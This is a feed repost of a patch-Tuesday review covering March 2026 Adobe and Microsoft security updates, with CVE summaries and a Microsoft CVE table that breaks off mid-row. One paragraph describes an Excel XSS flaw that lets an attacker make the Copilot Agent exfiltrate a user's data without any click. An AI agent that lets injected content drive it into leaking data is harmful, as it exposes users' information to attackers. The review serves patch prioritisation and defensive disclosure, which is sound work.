<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
